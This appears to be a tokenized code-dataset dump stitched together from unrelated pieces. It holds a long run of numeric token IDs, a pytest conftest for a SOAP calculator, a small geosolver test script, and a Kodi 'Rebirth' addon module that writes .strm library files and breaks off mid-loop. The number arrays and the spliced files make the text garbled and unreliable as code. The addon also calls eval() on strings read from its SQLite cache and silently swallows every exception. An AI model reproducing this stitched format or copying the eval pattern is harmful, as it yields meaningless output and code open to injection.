3084, 7295, 13, 268, 13, 1678, 396, 2322, 13, 1678, 2752, 353, 6571, 13, 1678, 3646, 353, 6571, 13, 1678, 4331, 29889, 7192, 359, 29889, 10149, 29918, 333, 2433, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29915, 13, 1678, 4331, 29889, 7192, 359, 29889, 12803, 2433, 12932, 29899, 5933, 29899, 29941, 29915, 13, 1678, 4331, 29889, 7192, 359, 29889, 5509, 29918, 978, 2433, 5509, 29915, 13, 1678, 4331, 29889, 7192, 359, 29889, 5509, 29918, 3259, 2433, 12333, 29915, 13, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 3027, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 2940, 2033, 1275, 525, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29889, 8181, 29878, 29889, 687, 29878, 29889, 12932, 29899, 5933, 29899, 29941, 29889, 17260, 10467, 29889, 510, 29914, 5509, 29901, 12333, 29915, 13, 13, 1678, 396, 411, 1024, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 3027, 2033, 2433, 1688, 29915, 13, 1678, 3646, 353, 6571, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 3027, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 2940, 2033, 1275, 2752, 1839, 3027, 2033, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 21970, 29918, 20965, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 21970, 2033, 353, 525, 29874, 29915, 13, 1678, 3646, 353, 6571, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 21970, 29898, 4993, 29892, 3646, 29897, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 21970, 29918, 3084, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 3646, 353, 6571, 13, 268, 13, 1678, 396, 2322, 995, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 21970, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 29907, 3746, 2033, 1275, 29871, 29896, 29906, 29947, 29871, 13, 268, 13, 1678, 396, 731, 995, 13, 1678, 2752, 1839, 21970, 2033, 353, 29871, 29906, 29945, 29953, 13, 1678, 3646, 353, 6571, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 21970, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 29907, 3746, 2033, 1275, 2752, 1839, 21970, 2033, 259, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 8269, 29918, 3149, 29918, 3084, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 8269, 29918, 3149, 2033, 29922, 2636, 13, 268, 2752, 1839, 8269, 29918, 3149, 13359, 4397, 877, 29874, 1495, 13, 268, 2752, 1839, 8269, 29918, 3149, 13359, 4397, 877, 29890, 1495, 13, 268, 3646, 353, 6571, 13, 268, 4331, 3032, 5014, 29918, 7611, 29918, 8269, 29918, 3149, 29898, 4993, 29892, 3646, 29897, 13, 268, 4974, 3646, 1839, 9634, 5228, 2033, 1275, 525, 29874, 29892, 29890, 29915, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 8269, 29918, 3149, 29918, 20965, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 8269, 29918, 3149, 2033, 2433, 29874, 29915, 13, 268, 3646, 353, 6571, 13, 268, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 8269, 29918, 3149, 29898, 4993, 29892, 3646, 29897, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 6519, 29918, 3084, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 6519, 2033, 29922, 2636, 13, 268, 2752, 1839, 6519, 13359, 4397, 877, 29874, 1495, 13, 268, 2752, 1839, 6519, 13359, 4397, 877, 29890, 1495, 13, 268, 3646, 353, 6571, 13, 268, 4331, 3032, 5014, 29918, 7611, 29918, 6519, 29898, 4993, 29892, 3646, 29897, 13, 268, 4974, 7431, 29898, 5182, 1839, 6255, 11287, 1360, 29906, 13, 268, 4974, 3646, 1839, 6255, 2033, 29961, 29900, 29962, 1275, 525, 29874, 29915, 13, 268, 4974, 3646, 1839, 6255, 2033, 29961, 29896, 29962, 1275, 525, 29890, 29915, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 6519, 29918, 20965, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 6519, 2033, 2433, 29890, 29915, 13, 268, 3646, 353, 6571, 13, 268, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 6519, 29898, 4993, 29892, 3646, 29897, 13, 1678, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 29918, 3084, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 2033, 29922, 2636, 13, 268, 2752, 1839, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 13359, 4397, 877, 29874, 1495, 13, 268, 2752, 1839, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 13359, 4397, 877, 29890, 1495, 13, 268, 3646, 353, 6571, 13, 268, 4331, 3032, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 29898, 4993, 29892, 3646, 29897, 13, 268, 4974, 7431, 29898, 5182, 1839, 29928, 1983, 7974, 11096, 2708, 11287, 1360, 29906, 13, 268, 4974, 3646, 1839, 29928, 1983, 7974, 11096, 2708, 2033, 29961, 29900, 29962, 1275, 525, 29874, 29915, 13, 268, 4974, 3646, 1839, 29928, 1983, 7974, 11096, 2708, 2033, 29961, 29896, 29962, 1275, 525, 29890, 29915, 13, 13, 1753, 903, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 29918, 20965, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 2033, 2433, 29890, 29915, 13, 268, 3646, 353, 6571, 13, 268, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 4478, 29918, 3129, 2708, 29898, 4993, 29892, 3646, 29897, 13, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 20472, 29918, 11618, 292, 29918, 3084, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 20472, 29918, 11618, 292, 2033, 353, 5852, 13, 268, 3646, 353, 6571, 13, 268, 4331, 3032, 5014, 29918, 7611, 29918, 20472, 29918, 11618, 292, 29898, 4993, 29892, 3646, 29897, 13, 268, 4974, 3646, 1839, 4205, 519, 13724, 292, 2033, 1275, 2752, 1839, 20472, 29918, 11618, 292, 2033, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 20472, 29918, 11618, 292, 2033, 353, 7700, 13, 268, 3646, 353, 6571, 13, 268, 4331, 3032, 5014, 29918, 7611, 29918, 20472, 29918, 11618, 292, 29898, 4993, 29892, 3646, 29897, 13, 268, 4974, 3646, 1839, 4205, 519, 13724, 292, 2033, 1275, 2752, 1839, 20472, 29918, 11618, 292, 2033, 13, 13, 1753, 903, 5014, 29918, 7611, 29918, 20472, 29918, 11618, 292, 29918, 20965, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 20472, 29918, 11618, 292, 2033, 2433, 29890, 29915, 13, 268, 3646, 353, 6571, 13, 268, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 20472, 29918, 11618, 292, 29898, 4993, 29892, 3646, 29897, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 643, 874, 29918, 3084, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 29881, 1983, 29918, 643, 874, 2033, 29922, 2636, 13, 268, 2752, 1839, 29881, 1983, 29918, 643, 874, 13359, 4397, 877, 29874, 1495, 13, 268, 2752, 1839, 29881, 1983, 29918, 643, 874, 13359, 4397, 877, 29890, 1495, 13, 268, 3646, 353, 6571, 13, 268, 4331, 3032, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 643, 874, 29898, 4993, 29892, 3646, 29897, 13, 268, 4974, 7431, 29898, 5182, 1839, 29928, 1983, 1748, 874, 11287, 1360, 29906, 13, 268, 4974, 3646, 1839, 29928, 1983, 1748, 874, 2033, 29961, 29900, 29962, 1275, 525, 29874, 29915, 13, 268, 4974, 3646, 1839, 29928, 1983, 1748, 874, 2033, 29961, 29896, 29962, 1275, 525, 29890, 29915, 13, 13, 1753, 903, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 643, 874, 29918, 20965, 7295, 13, 268, 2752, 353, 6571, 13, 268, 2752, 1839, 29881, 1983, 29918, 643, 874, 2033, 2433, 29890, 29915, 13, 268, 3646, 353, 6571, 13, 268, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 29881, 1983, 29918, 643, 874, 29898, 4993, 29892, 3646, 29897, 13, 1678, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 2962, 29918, 15619, 29918, 20965, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 2962, 29918, 15619, 2033, 353, 525, 29874, 29915, 13, 1678, 3646, 353, 6571, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 2962, 29918, 15619, 29898, 4993, 29892, 3646, 29897, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 2962, 29918, 15619, 29918, 3084, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 2962, 29918, 15619, 2033, 29922, 29953, 29900, 13, 1678, 3646, 353, 6571, 13, 268, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 2962, 29918, 15619, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 4763, 10851, 2033, 1275, 29871, 2752, 1839, 2962, 29918, 15619, 2033, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 9847, 29918, 15619, 29918, 20965, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 9847, 29918, 15619, 2033, 353, 525, 29874, 29915, 13, 1678, 3646, 353, 6571, 13, 1678, 411, 11451, 1688, 29889, 336, 4637, 29898, 1917, 2392, 1125, 13, 4706, 4331, 3032, 5014, 29918, 7611, 29918, 9847, 29918, 15619, 29898, 4993, 29892, 3646, 29897, 13, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 9847, 29918, 15619, 29918, 3084, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 9847, 29918, 15619, 2033, 29922, 29953, 29900, 13, 1678, 3646, 353, 6571, 13, 268, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 9847, 29918, 15619, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 16329, 10851, 2033, 1275, 2752, 1839, 9847, 29918, 15619, 2033, 13, 268, 13, 1753, 1243, 29918, 5014, 29918, 7611, 29918, 28988, 29918, 3084, 7295, 13, 1678, 2752, 353, 6571, 13, 1678, 2752, 1839, 28988, 2033, 2433, 29874, 29915, 13, 1678, 3646, 353, 6571, 13, 268, 13, 1678, 4331, 3032, 5014, 29918, 7611, 29918, 28988, 29898, 4993, 29892, 3646, 29897, 13, 1678, 4974, 3646, 1839, 8514, 978, 2033, 1275, 29871, 2752, 1839, 28988, 2033, 13, 268, 2 ]
SOAPapi/conftest.py
altazur/PythonAutomationExamples
0
142562
<reponame>altazur/PythonAutomationExamples<filename>SOAPapi/conftest.py from CalculatorSOAP import Calculator import pytest @pytest.fixture def get_calculator(): calculator = Calculator() yield calculator def pytest_addoption(parser): parser.addoption('--SOAPver', default='1.1', help='SOAP version: 1 or 2') @pytest.fixture def soap_version(request): return request.config.getoption('--SOAPver')
[ 1, 529, 276, 1112, 420, 29958, 1997, 834, 332, 29914, 11980, 28451, 362, 1252, 9422, 29966, 9507, 29958, 6156, 3301, 2754, 29914, 535, 615, 342, 29889, 2272, 13, 3166, 20535, 1061, 6156, 3301, 1053, 20535, 1061, 13, 5215, 11451, 1688, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 13, 1753, 679, 29918, 15807, 1061, 7295, 13, 1678, 3408, 1061, 353, 20535, 1061, 580, 13, 1678, 7709, 3408, 1061, 13, 13, 1753, 11451, 1688, 29918, 1202, 3385, 29898, 16680, 1125, 13, 1678, 13812, 29889, 1202, 3385, 877, 489, 6156, 3301, 369, 742, 2322, 2433, 29896, 29889, 29896, 742, 1371, 2433, 6156, 3301, 1873, 29901, 29871, 29896, 470, 29871, 29906, 1495, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 13, 1753, 29559, 29918, 3259, 29898, 3827, 1125, 13, 1678, 736, 2009, 29889, 2917, 29889, 657, 3385, 877, 489, 6156, 3301, 369, 1495, 13, 2 ]
geosolver/utils/run_utils.py
mhrmm/geosolver
83
53794
from geosolver.utils.prep import sentence_to_words_statements_values __author__ = 'minjoon' def test_prep(): paragraph = r"If \sqrt{x+5}=40.5, what is x+5?" print(sentence_to_words_statements_values(paragraph)) if __name__ == "__main__": test_prep()
[ 1, 515, 1737, 359, 324, 369, 29889, 13239, 29889, 15287, 1053, 10541, 29918, 517, 29918, 9303, 29918, 6112, 4110, 29918, 5975, 13, 13, 1649, 8921, 1649, 353, 525, 1195, 2212, 265, 29915, 13, 13, 1753, 1243, 29918, 15287, 7295, 13, 1678, 14880, 353, 364, 29908, 3644, 320, 3676, 29912, 29916, 29974, 29945, 5369, 29946, 29900, 29889, 29945, 29892, 825, 338, 921, 29974, 29945, 3026, 13, 1678, 1596, 29898, 18616, 663, 29918, 517, 29918, 9303, 29918, 6112, 4110, 29918, 5975, 29898, 26956, 876, 13, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1243, 29918, 15287, 580, 13, 2 ]
plugin.video.rebirth/resources/lib/modules/libtools.py
TheWardoctor/wardoctors-repo
1
14868
# -*- coding: utf-8 -*- ################################################################################ # | # # | ______________________________________________________________ # # | :~8a.`~888a:::::::::::::::88......88:::::::::::::::;a8~".a88::| # # | ::::~8a.`~888a::::::::::::88......88::::::::::::;a8~".a888~:::| # # | :::::::~8a.`~888a:::::::::88......88:::::::::;a8~".a888~::::::| # # | ::::::::::~8a.`~888a::::::88......88::::::;a8~".a888~:::::::::| # # | :::::::::::::~8a.`~888a:::88......88:::;a8~".a888~::::::::::::| # # | :::::::::::: :~8a.`~888a:88 .....88;a8~".a888~:::::::::::::::| # # | :::::::::::::::::::~8a.`~888......88~".a888~::::::::::::::::::| # # | 8888888888888888888888888888......8888888888888888888888888888| # # | ..............................................................| # # | ..............................................................| # # | 8888888888888888888888888888......8888888888888888888888888888| # # | ::::::::::::::::::a888~".a88......888a."~8;:::::::::::::::::::| # # | :::::::::::::::a888~".a8~:88......88~888a."~8;::::::::::::::::| # # | ::::::::::::a888~".a8~::::88......88:::~888a."~8;:::::::::::::| # # | :::::::::a888~".a8~:::::::88......88::::::~888a."~8;::::::::::| # # | ::::::a888~".a8~::::::::::88......88:::::::::~888a."~8;:::::::| # # | :::a888~".a8~:::::::::::::88......88::::::::::::~888a."~8;::::| # # | a888~".a8~::::::::::::::::88......88:::::::::::::::~888a."~8;:| # # | # # | Rebirth Addon # # | Copyright (C) 2017 Cypher # # | # # | This program is free software: you can redistribute it and/or modify # # | it under the terms of the GNU General Public License as published by # # | the Free Software Foundation, either version 3 of the License, or # # | (at your option) any later version. # # | # # | This program is distributed in the hope that it will be useful, # # | but WITHOUT ANY WARRANTY; without even the implied warranty of # # | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # | GNU General Public License for more details. # # | # ################################################################################ try: from sqlite3 import dbapi2 as database except: from pysqlite2 import dbapi2 as database import datetime import json import os import re import sys import urllib import urlparse import xbmc from resources.lib.modules import control from resources.lib.modules import cleantitle class lib_tools: @staticmethod def create_folder(folder): try: folder = xbmc.makeLegalFilename(folder) control.makeFile(folder) try: if not 'ftp://' in folder: raise Exception() from ftplib import FTP ftparg = re.compile('ftp://(.+?):(.+?)@(.+?):?(\d+)?/(.+/?)').findall(folder) ftp = FTP(ftparg[0][2], ftparg[0][0], ftparg[0][1]) try: ftp.cwd(ftparg[0][4]) except: ftp.mkd(ftparg[0][4]) ftp.quit() except: pass except: pass @staticmethod def write_file(path, content): try: path = xbmc.makeLegalFilename(path) if not isinstance(content, basestring): content = str(content) file = control.openFile(path, 'w') file.write(str(content)) file.close() except Exception as e: pass @staticmethod def nfo_url(media_string, ids): tvdb_url = 'http://thetvdb.com/?tab=series&id=%s' tmdb_url = 'https://www.themoviedb.org/%s/%s' imdb_url = 'http://www.imdb.com/title/%s/' if 'tvdb' in ids: return tvdb_url % (str(ids['tvdb'])) elif 'tmdb' in ids: return tmdb_url % (media_string, str(ids['tmdb'])) elif 'imdb' in ids: return imdb_url % (str(ids['imdb'])) else: return '' @staticmethod def check_sources(title, year, imdb, tvdb=None, season=None, episode=None, tvshowtitle=None, premiered=None): try: from resources.lib.modules import sources src = sources.sources().getSources(title, year, imdb, tvdb, season, episode, tvshowtitle, premiered) return src and len(src) > 5 except: return False @staticmethod def legal_filename(filename): try: filename = filename.strip() filename = re.sub(r'(?!%s)[^\w\-_\.]', '.', filename) filename = re.sub('\.+', '.', filename) filename = re.sub(re.compile('(CON|PRN|AUX|NUL|COM\d|LPT\d)\.', re.I), '\\1_', filename) xbmc.makeLegalFilename(filename) return filename except: return filename @staticmethod def make_path(base_path, title, year='', season=''): show_folder = re.sub(r'[^\w\-_\. ]', '_', title) show_folder = '%s (%s)' % (show_folder, year) if year else show_folder path = os.path.join(base_path, show_folder) if season: path = os.path.join(path, 'Season %s' % season) return path class libmovies: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.movie')), '') self.check_setting = control.setting('library.check_movie') or 'false' self.library_setting = control.setting('library.update') or 'true' self.dupe_setting = control.setting('library.check') or 'true' self.infoDialog = False def add(self, name, title, year, imdb, tmdb, range=False): if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True try: if not self.dupe_setting == 'true': raise Exception() id = [imdb, tmdb] if not tmdb == '0' else [imdb] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetMovies", "params": {"filter":{"or": [{"field": "year", "operator": "is", "value": "%s"}, {"field": "year", "operator": "is", "value": "%s"}, {"field": "year", "operator": "is", "value": "%s"}]}, "properties" : ["imdbnumber", "originaltitle", "year"]}, "id": 1}' % (year, str(int(year)+1), str(int(year)-1))) lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['movies'] lib = [i for i in lib if str(i['imdbnumber']) in id or (i['originaltitle'].encode('utf-8') == title and str(i['year']) == year)][0] except: lib = [] files_added = 0 try: if not lib == []: raise Exception() if self.check_setting == 'true': src = lib_tools.check_sources(title, year, imdb, None, None, None, None, None) if not src: raise Exception() self.strmFile({'name': name, 'title': title, 'year': year, 'imdb': imdb, 'tmdb': tmdb}) files_added += 1 except: pass if range == True: return if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def range(self, url): control.idle() yes = control.yesnoDialog(control.lang(32555).encode('utf-8'), '', '') if not yes: return if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import movies items = movies.movies().get(url, idx=False) if items == None: items = [] for i in items: try: if xbmc.abortRequested == True: return sys.exit() self.add('%s (%s)' % (i['title'], i['year']), i['title'], i['year'], i['imdb'], i['tmdb'], range=True) except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo'): control.execute('UpdateLibrary(video)') def strmFile(self, i): try: name, title, year, imdb, tmdb = i['name'], i['title'], i['year'], i['imdb'], i['tmdb'] sysname, systitle = urllib.quote_plus(name), urllib.quote_plus(title) transtitle = cleantitle.normalize(title.translate(None, '\/:*?"<>|')) content = '%s?action=play&name=%s&title=%s&year=%s&imdb=%s&tmdb=%s' % (sys.argv[0], sysname, systitle, year, imdb, tmdb) folder = lib_tools.make_path(self.library_folder, transtitle, year) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, lib_tools.legal_filename(transtitle) + '.strm'), content) lib_tools.write_file(os.path.join(folder, 'movie.nfo'), lib_tools.nfo_url('movie', i)) except: pass class libtvshows: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.tv')),'') self.version = control.version() self.check_setting = control.setting('library.check_episode') or 'false' self.include_unknown = control.setting('library.include_unknown') or 'true' self.library_setting = control.setting('library.update') or 'true' self.dupe_setting = control.setting('library.check') or 'true' self.datetime = (datetime.datetime.utcnow() - datetime.timedelta(hours = 5)) self.date = (self.datetime - datetime.timedelta(hours = 24)).strftime('%Y%m%d') self.infoDialog = False self.block = False def add(self, tvshowtitle, year, imdb, tvdb, range=False): if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import episodes items = episodes.episodes().get(tvshowtitle, year, imdb, tvdb, idx=False) try: items = [{'title': i['title'], 'year': i['year'], 'imdb': i['imdb'], 'tvdb': i['tvdb'], 'season': i['season'], 'episode': i['episode'], 'tvshowtitle': i['tvshowtitle'], 'premiered': i['premiered']} for i in items] except: items = [] try: if not self.dupe_setting == 'true': raise Exception() if items == []: raise Exception() id = [items[0]['imdb'], items[0]['tvdb']] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetTVShows", "params": {"properties" : ["imdbnumber", "title", "year"]}, "id": 1}') lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['tvshows'] lib = [i['title'].encode('utf-8') for i in lib if str(i['imdbnumber']) in id or (i['title'].encode('utf-8') == items[0]['tvshowtitle'] and str(i['year']) == items[0]['year'])][0] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetEpisodes", "params": {"filter":{"and": [{"field": "tvshow", "operator": "is", "value": "%s"}]}, "properties": ["season", "episode"]}, "id": 1}' % lib) lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['episodes'] lib = ['S%02dE%02d' % (int(i['season']), int(i['episode'])) for i in lib] items = [i for i in items if not 'S%02dE%02d' % (int(i['season']), int(i['episode'])) in lib] except: pass files_added = 0 for i in items: try: if xbmc.abortRequested == True: return sys.exit() if self.check_setting == 'true': if i['episode'] == '1': self.block = True src = lib_tools.check_sources(i['title'], i['year'], i['imdb'], i['tvdb'], i['season'], i['episode'], i['tvshowtitle'], i['premiered']) if src: self.block = False if self.block == True: raise Exception() premiered = i.get('premiered', '0') if (premiered != '0' and int(re.sub('[^0-9]', '', str(premiered))) > int(self.date)) or (premiered == '0' and not self.include_unknown): continue self.strmFile(i) files_added += 1 except: pass if range == True: return if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def range(self, url): control.idle() yes = control.yesnoDialog(control.lang(32555).encode('utf-8'), '', '') if not yes: return if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import tvshows items = tvshows.tvshows().get(url, idx=False) if items == None: items = [] for i in items: try: if xbmc.abortRequested == True: return sys.exit() self.add(i['title'], i['year'], i['imdb'], i['tvdb'], range=True) except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo'): control.execute('UpdateLibrary(video)') def strmFile(self, i): try: title, year, imdb, tvdb, season, episode, tvshowtitle, premiered = i['title'], i['year'], i['imdb'], i['tvdb'], i['season'], i['episode'], i['tvshowtitle'], i['premiered'] episodetitle = urllib.quote_plus(title) systitle, syspremiered = urllib.quote_plus(tvshowtitle), urllib.quote_plus(premiered) transtitle = cleantitle.normalize(tvshowtitle.translate(None, '\/:*?"<>|')) content = '%s?action=play&title=%s&year=%s&imdb=%s&tvdb=%s&season=%s&episode=%s&tvshowtitle=%s&date=%s' % (sys.argv[0], episodetitle, year, imdb, tvdb, season, episode, systitle, syspremiered) folder = lib_tools.make_path(self.library_folder, transtitle, year) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, 'tvshow.nfo'), lib_tools.nfo_url('tv', i)) folder = lib_tools.make_path(self.library_folder, transtitle, year, season) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, lib_tools.legal_filename('%s S%02dE%02d' % (transtitle, int(season), int(episode))) + '.strm'), content) except: pass class libepisodes: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.tv')),'') self.library_setting = control.setting('library.update') or 'true' self.include_unknown = control.setting('library.include_unknown') or 'true' self.property = '%s_service_property' % control.addonInfo('name').lower() self.datetime = (datetime.datetime.utcnow() - datetime.timedelta(hours = 5)) self.date = (self.datetime - datetime.timedelta(hours = 24)).strftime('%Y%m%d') self.infoDialog = False def update(self, query=None, info='true'): if not query == None: control.idle() try: items = [] season, episode = [], [] show = [os.path.join(self.library_folder, i) for i in control.listDir(self.library_folder)[0]] for s in show: try: season += [os.path.join(s, i) for i in control.listDir(s)[0]] except: pass for s in season: try: episode.append([os.path.join(s, i) for i in control.listDir(s)[1] if i.endswith('.strm')][-1]) except: pass for file in episode: try: file = control.openFile(file) read = file.read() read = read.encode('utf-8') file.close() if not read.startswith(sys.argv[0]): raise Exception() params = dict(urlparse.parse_qsl(read.replace('?',''))) try: tvshowtitle = params['tvshowtitle'] except: tvshowtitle = None try: tvshowtitle = params['show'] except: pass if tvshowtitle == None or tvshowtitle == '': raise Exception() year, imdb, tvdb = params['year'], params['imdb'], params['tvdb'] imdb = 'tt' + re.sub('[^0-9]', '', str(imdb)) try: tmdb = params['tmdb'] except: tmdb = '0' items.append({'tvshowtitle': tvshowtitle, 'year': year, 'imdb': imdb, 'tmdb': tmdb, 'tvdb': tvdb}) except: pass items = [i for x, i in enumerate(items) if i not in items[x + 1:]] if len(items) == 0: raise Exception() except: return try: lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetTVShows", "params": {"properties" : ["imdbnumber", "title", "year"]}, "id": 1}') lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['tvshows'] except: return if info == 'true' and not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32553).encode('utf-8'), time=10000000) self.infoDialog = True try: control.makeFile(control.dataPath) dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS tvshows (""id TEXT, ""items TEXT, ""UNIQUE(id)"");") except: return try: from resources.lib.indexers import episodes except: return files_added = 0 for item in items: it = None if xbmc.abortRequested == True: return sys.exit() try: dbcur.execute("SELECT * FROM tvshows WHERE id = '%s'" % item['tvdb']) fetch = dbcur.fetchone() it = eval(fetch[1].encode('utf-8')) except: pass try: if not it == None: raise Exception() it = episodes.episodes().get(item['tvshowtitle'], item['year'], item['imdb'], item['tvdb'], idx=False) status = it[0]['status'].lower() it = [{'title': i['title'], 'year': i['year'], 'imdb': i['imdb'], 'tvdb': i['tvdb'], 'season': i['season'], 'episode': i['episode'], 'tvshowtitle': i['tvshowtitle'], 'premiered': i['premiered']} for i in it] if status == 'continuing': raise Exception() dbcur.execute("INSERT INTO tvshows Values (?, ?)", (item['tvdb'], repr(it))) dbcon.commit() except: pass try: id = [item['imdb'], item['tvdb']] if not item['tmdb'] == '0': id += [item['tmdb']] ep = [x['title'].encode('utf-8') for x in lib if str(x['imdbnumber']) in id or (x['title'].encode('utf-8') == item['tvshowtitle'] and str(x['year']) == item['year'])][0] ep = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetEpisodes", "params": {"filter":{"and": [{"field": "tvshow", "operator": "is", "value": "%s"}]}, "properties": ["season", "episode"]}, "id": 1}' % ep) ep = unicode(ep, 'utf-8', errors='ignore') ep = json.loads(ep).get('result', {}).get('episodes', {}) ep = [{'season': int(i['season']), 'episode': int(i['episode'])} for i in ep] ep = sorted(ep, key=lambda x: (x['season'], x['episode']))[-1] num = [x for x,y in enumerate(it) if str(y['season']) == str(ep['season']) and str(y['episode']) == str(ep['episode'])][-1] it = [y for x,y in enumerate(it) if x > num] if len(it) == 0: continue except: continue for i in it: try: if xbmc.abortRequested == True: return sys.exit() 